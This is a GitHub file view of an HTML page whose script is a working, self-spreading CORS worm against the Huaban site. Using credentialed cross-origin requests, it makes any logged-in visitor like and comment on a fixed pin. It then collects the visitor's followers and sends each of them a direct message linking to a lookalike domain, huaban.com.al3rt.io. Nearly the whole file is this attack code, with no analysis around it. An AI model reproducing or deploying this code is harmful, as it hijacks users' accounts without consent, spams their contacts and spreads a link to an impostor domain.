-
Notifications
You must be signed in to change notification settings - Fork 88
/
Copy pathcors-bot-code.txt
78 lines (74 loc) · 2.57 KB
/
cors-bot-code.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge;" />
<title>HI HUABAN IAMANEWBOTNAMEDCORSBOT</title>
<script src="//cdn.bootcss.com/jquery/2.2.4/jquery.min.js"></script>
</head>
<body>
<script>
$(document).ready(function(){
var myfood = '940838068';
hb = {};
hb.dmsend = function(user_id, msg){
$.ajax({url: 'http://huaban.com/dm/send/',
type: 'POST',
xhrFields: {withCredentials: true},
data: 'to_user_id=' + user_id + '&text=' + msg,
success: function(c){$('#t').text(c);}
});
};
hb.like = function(cb){
$.ajax({url: 'http://huaban.com/pins/' + myfood + '/like/',
type: 'POST',
xhrFields: {withCredentials: true},
dataType: 'json',
beforeSend: function(request) {
request.setRequestHeader("X-Requested-With", "XMLHttpRequest");
request.setRequestHeader("X-Request", "JSON");
},
success: cb
});
};
hb.comment = function(cb){
$.ajax({url: 'http://huaban.com/pins/' + myfood + '/comments/',
type: 'POST',
xhrFields: {withCredentials: true},
dataType: 'json',
beforeSend: function(request) {
request.setRequestHeader("X-Requested-With", "XMLHttpRequest");
request.setRequestHeader("X-Request", "JSON");
},
data: 'text=CORSBOTLIKEIT' + Math.random().toString(),
success: cb
});
};
hb.followuserids = function(urlname, cb){
$.ajax({url: 'http://huaban.com/' + urlname + '/followers/?limit=50',
type: 'GET',
xhrFields: {withCredentials: true},
dataType: 'json',
beforeSend: function(request) {
request.setRequestHeader("X-Requested-With", "XMLHttpRequest");
request.setRequestHeader("X-Request", "JSON");
},
success: cb
});
};
hb.like(cb = function(c){
hb.comment(cb = function(c){
var urlname = c.comment.user.urlname;
$('#t').text(urlname);
hb.followuserids(urlname, cb = function(c){
var ids = Array();
for(i in c.users){
var user_id = c.users[i].user_id;
ids.push(user_id);
hb.dmsend(user_id, 'YESIAMANEWBOTNAMEDCORSBOT' + Math.random().toString() + 'UCANEXPLOREMEAT: HTTP://HUABAN.COM.AL3RT.IO/');
}
});
});
});
});
</script>
</body>
</html>